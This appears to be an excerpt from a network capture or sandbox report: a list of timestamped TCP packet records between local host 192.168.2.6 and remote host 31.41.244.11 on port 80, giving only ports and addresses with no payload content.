Dec 20, 2024 17:43:31.968954086 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.969031096 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.969238043 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.969280958 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.969890118 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.969934940 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.102869034 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.103001118 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.103368044 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.103427887 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.103465080 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.103512049 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.103715897 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.103763103 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.104260921 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.104302883 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.104412079 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.104454994 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.105221033 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.105263948 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.106264114 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.106323957 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.106662035 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.106705904 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.106781006 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.106792927 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.106825113 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.107697964 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.107742071 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.107862949 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.107908010 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.108656883 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.108719110 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.108742952 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.108757973 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.109661102 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.109709024 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.109886885 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.109945059 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.110544920 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.110591888 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.110732079 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.110802889 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.111792088 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.111855030 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.111913919 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.111953974 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.112421036 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.112464905 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.112627029 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.112665892 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.113482952 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.113531113 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.113609076 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.113647938 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.114321947 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.114403963 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.114543915 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.114587069 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.115276098 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.115345001 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.115367889 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.115406990 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.116355896 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.116369009 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.116400957 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.117217064 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.117254972 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.117330074 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.117368937 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.118117094 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.118160009 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.119112015 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.119123936 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.119158983 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.119203091 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.119237900 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.120008945 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.120053053 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.120193005 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.120230913 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.120964050 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.121021986 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.121586084 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.121632099 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.121891022 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.121931076 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.121965885 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.122004986 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.122868061 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.122912884 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.122997999 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.123040915 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.123800993 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.123847008 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.123902082 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.123941898 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.124773026 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.124818087 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.125015974 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.125060081 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.125780106 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.125822067 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.125933886 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.125974894 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.126652002 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.126698971 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.127006054 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.127046108 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.127643108 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.127685070 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.127713919 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.127751112 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.128552914 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.128595114 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.128663063 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.128706932 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.129503012 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.129553080 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.129658937 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.129700899 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.130819082 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.130863905 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.131098986 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.131139994 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.131402016 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.131441116 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.131606102 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.131644964 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.132327080 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.132368088 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.132942915 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.133019924 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.133281946 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.133327007 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.133363962 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.133404016 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.134300947 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.134342909 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.134429932 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.134469032 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.135180950 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.135221958 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.135303020 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.135371923 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.136163950 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.136209965 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.136557102 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.136609077 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.137075901 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.137119055 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.137181997 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.137223959 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.138025045 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.138066053 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.138537884 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.138617992 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.138988972 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.139002085 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.139027119 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.139045954 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.139925003 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.139970064 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.140028954 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.140078068 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.140858889 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.140901089 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.141067982 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.141108990 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.141839027 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.141884089 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.142467976 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.142518997 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.142738104 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.142784119 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.143194914 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.143235922 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.143697023 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.143743038 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.143906116 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.143953085 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.144650936 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.144691944 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.144772053 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.144817114 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.145615101 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.145669937 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.145726919 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.145766973 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.146611929 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.146658897 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.146693945 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.146732092 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.147509098 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.147555113 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.147638083 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.147680044 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.148483038 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.148528099 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.148554087 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.148593903 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.149399042 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.149450064 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.160701990 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.160768032 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.160785913 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.160810947 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.161122084 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.161168098 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.161168098 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.161209106 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.162066936 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.162113905 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.162199020 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.162237883 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.163033009 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.163079023 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.294930935 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.295037031 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.295135975 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.295219898 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.295365095 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.295434952 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.295629025 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.295681953 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.296147108 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.296194077 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.296278954 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.296319008 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.297152996 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.297213078 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.297245979 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.297288895 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.298603058 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.298649073 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.298892021 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.298932076 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.299072027 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.299115896 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.299194098 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.299237013 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.300014019 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.300051928 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.300290108 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.300332069 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.300940037 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.300988913 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.301152945 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.301192999 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.301881075 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.301922083 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.302032948 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.302071095 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.302797079 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.302839994 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.302861929 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.302906990 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.303813934 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.303858042 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.303930998 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.303975105 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.304697990 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.304747105 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.304846048 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.304883003 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.305646896 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.305687904 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.306488991 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.306531906 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.306610107 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.306648970 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.306803942 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.306848049 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.307555914 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.307600975 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.307606936 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.307652950 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.308557987 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.308614016 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.308723927 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.308769941 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.309510946 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.309554100 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.309673071 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.309712887 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.310426950 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.310472965 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.310525894 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.310561895 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.311459064 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.311502934 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.311623096 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.311661005 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.312283039 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.312325954 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.312396049 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.312433958 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.313268900 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.313313961 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.313349009 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.313385963 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.314229012 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.314275980 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.314332962 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.314371109 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.315164089 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.315207958 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.315279007 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.315346956 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.316041946 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.316083908 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.316194057 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.316232920 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.317035913 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.317081928 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.317382097 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.317425966 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.317992926 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.318006992 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.318039894 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.318053007 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.318948030 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.318993092 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.319104910 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.319149017 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.319853067 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.319896936 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.320116997 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.320159912 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.320861101 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.320903063 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.320979118 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.321017027 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.321804047 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.321850061 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.322216988 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.322262049 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.322756052 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.322805882 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.322918892 CET	80	49736	31.41.244.11	192.168.2.6
